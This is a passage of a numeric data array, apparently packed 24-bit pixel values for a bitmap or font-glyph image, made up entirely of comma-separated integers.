,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,102,11993087,16777215,16777179,9463398,9493503,14389306,0,14906,3801088,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,14950,11993087,16777179,9452032,0,14906,3815994,0,58,9493503,16777215,11953722,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,3827344,9483995,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953722,0,0,0,0,14950,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953722,0,0,0,0,14950,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11974326,11974326,11974326,11974326,11974326,11974326,11974326,11974326,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14399078,3815994,3816038,11983871,16777215,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767926,6684672,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16767926,6710928,11983871,16767888,3815936,0,0,0,0,0,0,0,58,6731483,16777179,11953664,0,0,0,0,0,0,102,11993087,16767926,6710928,11983871,16767888,3815936,0,0,58,9493503,16777215,16777179,11953722,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,16767963,14408667,14408703,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777179,9463354,0,0,0,0,14906,3801088,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,14906,6731483,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16777215,16767888,3801088,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,14992,14417883,9452032,0,0,0,0,102,11983871,14389306,0,0,26294,16777215,16777215,11953722,0,0,14950,11993087,16777215,16758374,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,14992,14417919,16777215,14389306,0,0,3827344,14417919,16777215,14389306,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399078,3801088,0,0,0,0,6731519,16777215,14389306,0,3815994,0,0,3838171,16777215,16767888,3801190,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,102,11993087,16777179,9452032,0,0,14950,9493467,14408703,16777142,6684672,0,6731519,16777215,11953664,0,102,11993051,14408703,16777215,14389350,3801088,0,0,0,102,11993087,16777215,16777179,9463354,0,0,0,14906,3801088,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,102,11993087,16777215,16767926,6699578,0,0,0,3815936,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777179,9452032,0,0,14950,11993087,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777179,9452032,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,26294,16777215,16777179,9463354,0,58,6731519,16777215,16777215,11953664,0,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6710928,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14417919,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,102,11993087,16777179,14399158,11983871,16777215,14389306,0,6731519,16777215,16777215,16767963,14408703,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953722,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777179,14408703,16777215,16777215,14399078,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,26294,16777215,16777215,14408667,14408667,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777179,14408667,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,16777215,16777179,14408667,16777215,16777215,16777142,6684672,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,58,9493503,16777215,16777215,16767963,14408667,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,0,0,26294,16777215,16758374,0,0,14906,3801088,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,14950,11983871,16777215,16777215,16777215,14408667,14408667,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14399078,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,14417919,16777215,16777215,16777179,14408667,14408703,16777215,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11993087,16777215,16777215,16767963,14408703,16777215,16777215,16758374,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16777179,9452032,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,3838171,16777215,14389306,0,0,0,0,3838171,16777215,16777142,6684672,0,3838171,16777215,16777215,16777179,14408667,14408703,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16777215,16777179,9452032,58,9493503,16777215,16777215,16758374,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,26294,16777215,16777215,14408667,14408667,16777215,16777215,16777179,11953722,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11993087,16777215,16777215,16767963,14417919,16777142,9474267,16777215,14389306,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,102,11993087,16777215,16777215,16767963,14417919,16777142,11974399,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767888,3801088,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16767963,14408703,16777179,14408703,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,0,0,58,9493503,16777215,16777215,16777179,9452032,0,0,0,0,14992,14417919,16777215,16777142,6684672,58,9493503,16777215,16777215,11953664,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,3827344,9452032,0,0,0,0,0,0,58,9474150,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14408630,9463398,6710886,9483995,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731519,16758374,3801088,0,0,6731483,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14408630,9463398,6710886,9483995,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14399158,14417919,16777215,16777215,16767926,11983871,16777215,16777215,16758416,3801088,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767926,6684672,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777179,11964518,6710886,6699578,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,11953664,0,0,3838171,16777215,16777142,6699520,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16767888,3801088,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,14950,11983871,16777215,16777215,16777215,14408667,14408667,16777215,16777179,9452032,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14399078,0,0,0,3838171,16777215,16758374,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,16777215,16777215,16777215,16758374,0,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,6721755,16777215,16777215,16767963,16777215,16767888,3827382,16777215,16777215,16777215,16777215,14389306,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,58,9493503,16777215,16777215,16767963,14408703,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,3827344,11964518,3801088,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0